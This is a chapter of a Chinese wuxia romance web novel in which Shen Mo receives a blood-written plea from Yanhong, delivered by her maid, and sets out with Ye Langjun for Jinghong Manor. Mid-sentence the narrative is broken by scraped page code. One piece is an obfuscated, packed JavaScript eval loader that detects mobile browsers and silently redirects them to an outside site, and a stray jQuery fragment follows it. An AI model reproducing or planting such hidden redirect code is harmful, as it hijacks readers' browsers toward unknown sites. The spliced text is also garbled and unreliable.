“信物?”沈墨的声音中终于带上了一丝讶异。风月楼信物由两半组成,其中一半只有一份,保管在沈墨本人手中。另外一半则每个暗卫及知晓楼中机密者各有一枚,用于传递机要消息时使用。沈墨用人手段精细独到,却记不起有在此处安插人手,何况这等机要之物,怎会如此轻易被人瞧见,他心内倒也觉得有些稀奇。他望向夜郎君,夜郎君轻嗯了一声,沈墨立时起身,走出舱外,准备一探究竟。
夜色如墨,流水潺潺,河上的风带起了沈墨的袍袖,黑鸢提起手边的灯笼,为沈墨照明。沈墨借着灯光看去,只见青鹄看守着一个丫鬟打扮的姑娘,而她的手中正紧紧捏着那一枚信物。沈墨眉头微蹙,目光锐利地盯着那丫鬟。他缓缓走近,青鹄见状,立刻躬身行礼,而那丫鬟则显得有些慌乱,眼神中流露出一丝不安。沈墨并未急着盘问,示意青鹄退到一旁,他的目光上下打量着那丫鬟,试图从她的眼神中读出些什么。然而,那丫鬟虽然慌乱,却也努力保持着镇定,只是手中的信物似乎在微微颤抖。沈墨一行的打扮并不像寻常盗匪,因此她虽不安,但行为举止仍未失了分寸。
“你是何人?”沈墨终于开口,声音低沉而有力。
丫鬟深吸一口气,似乎在鼓起勇气,然后轻声回答:“回大人,奴婢名叫小翠。”
她说完之后,见沈墨沉吟未答,忙又道:“奴婢到京城有要事,不想遇到这江湖纷争,请几位大人明察,放奴婢回到客船上。”
沈墨微微颔首,目光依旧锐利如刀,他并不急于下结论,而是继续审视着眼前这个自称小翠的丫鬟。“要事?”沈墨的声音中带着一丝质疑,“你倒不像普通人家的丫鬟,想必办的事也非同寻常吧,这枚信物,你又是从何处得到的?”
小翠闻言,脸色微变,她似乎在犹豫是否要吐露实情。片刻后,她终于下定决心,轻声道:“奴婢是惊鸿山庄大夫人的贴身侍女,奉我家夫人之命,前往京城传递一封重要的信件。夫人曾说,如遇到不测之事,便将这枚信物取出,或许便会有人施以援手。大人既然认得这枚信物,想必也与我家夫人有所联系,请大人明察。”
“大夫人?嫣红?”沈墨的语气当中透出一丝惊异,但很快又恢复了冷静。只见小翠点了点头,沈墨心中的疑窦更甚:嫣红嫁到惊鸿山庄后,便与风月楼断了往来,虽然还保留着楼中的信物,但非到紧急之时绝不会使用。但若已到如此时刻,为何他手下的暗卫没得到一点风声?
沈墨沉思片刻,心中暗自盘算着各种可能。他深知嫣红的个性,她绝不会轻易动用这枚信物,除非真的遇到了无法解决的困境。然而,风月楼的暗卫竟然对此一无所知,这不能不让他感到十分蹊跷。
“信件在何处?”沈墨继续追问,声音中带着一丝不容置疑的威严。
小翠的眼神中闪过一丝警惕,她盈盈行了一礼,道:“夫人吩咐必须亲自到风月楼,交到另一半信物主人手中。”
沈墨从袖中取出另外半枚信物,青鹄立即接过,与小翠手中那半枚拼合在一起,“那么,我就是你要找的人。”沈墨淡淡地说,目光中却透出一丝锐利。
小翠的眼中闪过一丝惊讶,随即又恢复了平静:“大人,奴婢确实没想到会在这里遇到您。”她的声音中带着一丝释然,迅速从袖中取出一封信,恭敬地递到沈墨手中。沈墨暗道这丫鬟处事倒是机警,但也不及多想,借着黑鸢手中灯笼的光照,立时撕开信封,取出一张薄薄的信笺。
信笺起头,便让沈墨吃了一惊。这一纸薄笺竟非用笔墨,而是用手指蘸血写成:“楼主钧鉴,妾嫣红再拜顿首,事态紧急,妾身不得不安排心腹之人以信物相求,自来到山庄后,柳思鸿……”下面的字似乎写得更急,却又被水渍沾湿,看不分明了。
沈墨眉头紧锁,目光在模糊的字迹上停留片刻,心中涌起一股不祥的预感。柳思鸿……难道这其中有什么不为人知的隐情?沈墨的声音中难得地带着一丝急切,问道:“小翠,嫣红让你传递这封信,可曾交代过什么特别的事情?”
小翠微微摇头,眼中闪过一丝忧虑:“夫人让奴婢以探亲之名到京城送信,交代务必要送到您手中,并且送信之后立即带着家人远走,不要再涉及山庄之事。”
沈墨心中一沉,他深知嫣红的谨慎,若非事态严重,她绝不会轻易动用信物,更不会让小翠带着家人远走。他沉吟片刻,声音中透露出不容置疑的决断:“小翠,你先在船上等候,我即刻安排人护送你和家人前往安全之地。”小翠闻言,眼中闪过一丝感激,她知道沈墨的安排并非出于恶意,于是恭敬地行了一礼:“多谢大人恩典。”
沈墨点了点头,青鹄将小翠带到一旁暂歇,沈墨唤来手下暗卫,低声吩咐了一番,然后回到船舱之中。夜郎君见沈墨脸色不豫,轻声问道:“看来这信物背后隐藏着不小的麻烦?”
沈墨微微颔首,眼中闪过一丝忧虑:“嫣红特地遣心腹之人传信于我,想必遭逢了重大变故,可我手下的暗卫却未得到一丝消息,其中蹊跷得紧。”他坐到夜郎君身侧,微微舒了一口气,“墨让人准备了快马,等不及此间事了了,我们换乘快马前往惊鸿山庄,已在一路之上都安排了人手接应。”
夜郎君听罢,眉头微蹙,听沈墨讲完了来去,才道:“此事确实不寻常。”沈墨以手扶额,双目微合:“不错,我亦有此感。嫣红的信中虽然字迹模糊,但提及柳思鸿之名,此事定与他脱不了干系。柳思鸿向来以仁义自居,若真有变故,恐怕山庄内外早已风声鹤唳。”
夜郎君轻笑一声,道:“向来以仁义自居?这江湖中,又有几人不是戴着假面办事?”
沈墨嘴角也勾起一丝弧度,但又很快收敛:“郎君所言极是,只是墨自信对此人还算多少有些了解,他并非惹是生非之徒。不过其人深沉内敛,倒是有几分难以捉摸。”
夜郎君不紧不慢,只是有些戏谑地道:“看你这有些慌忙的样子,看来这嫣红与你交情匪浅了。”
沈墨的表情有些微妙,轻轻抬眸,目光轻轻地落在夜郎君的身上:“郎君这是在打趣墨?既然如此,与郎君细说也无妨。墨自小便被风月楼主选为继承人,在楼中鲜有朋友,但嫣红却是其中一个。她的母亲是贱籍出身,父亲也不知是谁,自小就身为贱妓,是楼中的一名舞姬。墨与她相识于微时,那时她尚是个天真烂漫的少女,墨见她聪明伶俐,便时常教她识字读书,两人渐渐成了无话不谈的好友。后来,嫣红被惊鸿山庄的庄主看中,嫁入豪门,从此与风月楼再无瓜葛。然而,墨心中始终将嫣红视为姊妹,对她的一举一动都颇为关注。如今她突然遣人送来血书,其中必有隐情。”
沈墨顿了一顿,又有些神秘地道:“其中有些秘辛,墨只对郎君言道:嫣红舞技卓绝,容貌倾城,但天生有疾,乃是阴阳同体之人,因此时常备受欺凌。虽然有墨庇护,终非长久之计。幸得柳思鸿对她爱极,不介意她的出身与畸形,执意要娶她为妻,墨这才为他们四处筹措,促成此事。如今她突然来此血书,墨实在是有些忧心。”
夜郎君听罢,缓缓道:“如此说来,嫣红的处境确实令人担忧。柳思鸿若真是仁义之人,为何会牵扯到这血书之事?”
沈墨轻轻叹息
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227963|151291||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一声,道:“正是如此,墨亦是百思不得其解。柳思鸿向来行事谨慎,若非有重大变故,断不会让嫣红陷入如此境地。或许,这其中牵涉到惊鸿山庄的某些秘密。”
夜郎君微微颔首道:“江湖之中,秘密重重,惊鸿山庄亦非等闲之地。柳思鸿若真有难言之隐,恐怕此事非同小可。”
沈墨点了点头,眼中闪过一丝坚定:“无论如何,墨不能坐视不理,自当竭尽全力查明真相,助她脱困。此次前去,我们需得步步为营,不可轻举妄动。”
夜郎君点了点头,眼中闪过一丝深思:“只是……你可曾想过,嫣红为何不直接派人来求援,而是暗中派出心腹之人前来传信?”
沈墨微微摇头,道:“墨心中也有疑窦,妄自揣测,或许是嫣红担心直接派人会引起惊鸿山庄或其对头的注意,反而会让她的处境更加凶险。而且她已料到传信途中可能生变,因此将随身信物也交付于信使,这才侥幸被我们截下。”
夜郎君微微一笑,道:“你心思缜密,分析得甚是合理。不过,我们还需做好最坏的打算。”
沈墨微微一笑,道:“无论如何,有郎君相伴,墨心中自是多了一份底气。惊鸿山庄地处要津,江湖中不少势力都对其虎视眈眈,背后牵扯甚广。柳思鸿若真有难言之隐,山庄内外必是暗流涌动。此行虽可能有些凶险,但或许能将郎君所求之事一举办成。”
夜郎君只是嗯了一声,便不再言语。过不多时,天色蒙蒙放亮,沈墨手下的暗卫也已打点好一切,将小船秘密靠至岸边,众人换乘快马赶路。一路之上皆有沈墨安排的暗桩接应,为众人接风、换马。在马背上颠簸了数日,沈墨和夜郎君一行才终于抵达了惊鸿山庄外围。山庄四周山峦起伏,云雾缭绕,宛如仙境,然而,沈墨心中却无半分闲情逸致。沈墨领着众人来到山庄外的一排简陋屋舍处,这才下马道:“郎君,我们先在此处稍作歇息,待天黑之后再潜入山庄。”
夜郎君目光扫过四周,此处清幽隐秘,确是个隐藏的极佳地点。沈墨吩咐手下暗卫在屋舍四周布防,青鹄与黑鸢则始终守在夜郎君身侧,几人一同进入屋中。屋中陈设干净简朴,沈墨为夜郎君设好坐席,两人同坐小憩。夜郎君一向神秘莫测,他的所思所想,有时沈墨也无法揣度。他从怀中取出嫣红的信件,反复琢磨思量。夜郎君看着沈墨,关切道:“怎么,还有许多难解之处?”
沈墨轻轻摇头,道:“许多细节都令墨心中有些不安:一则嫣红向来是个坚强的女子,若非到了万不得已的地步,断不会向我求援;二则嫣红既然写了血书,关键部分为何又字迹不清,莫非事态如此紧急,她来不及查验就令人将信件送出?三则墨一路上派出无数暗卫查探,均回报惊鸿山庄平静异常——如此种种,墨实在理不清其中头绪。”
夜郎君略一思索,才道:“或许,嫣红在写信时已知自己处境危急,而敌人便在山庄内部,她深知山庄内外皆有耳目,因此故意留下模糊的字迹,以避免信件落入他人之手时泄露过多信息。”
沈墨低头道:“郎君所言甚是,只是嫣红心思缜密,她所面临的困境恐怕还超出墨之所想。”
夜郎君站起身来,走到窗边,目光深邃地望向山庄的方向:“沈墨,你可曾想过,若柳思鸿真的牵涉其中,若是他对嫣红有不轨之意,你该如何应对?”
沈墨沉默片刻,眼中闪过一道精光,沉声道:“他两人的婚事,是墨一手促成,若柳思鸿真对嫣红有所亏待,墨绝不会善罢甘休。若是外敌压迫致此,墨与郎君正好助他们将大敌除去,如此,不愁惊鸿山庄不相助我等。”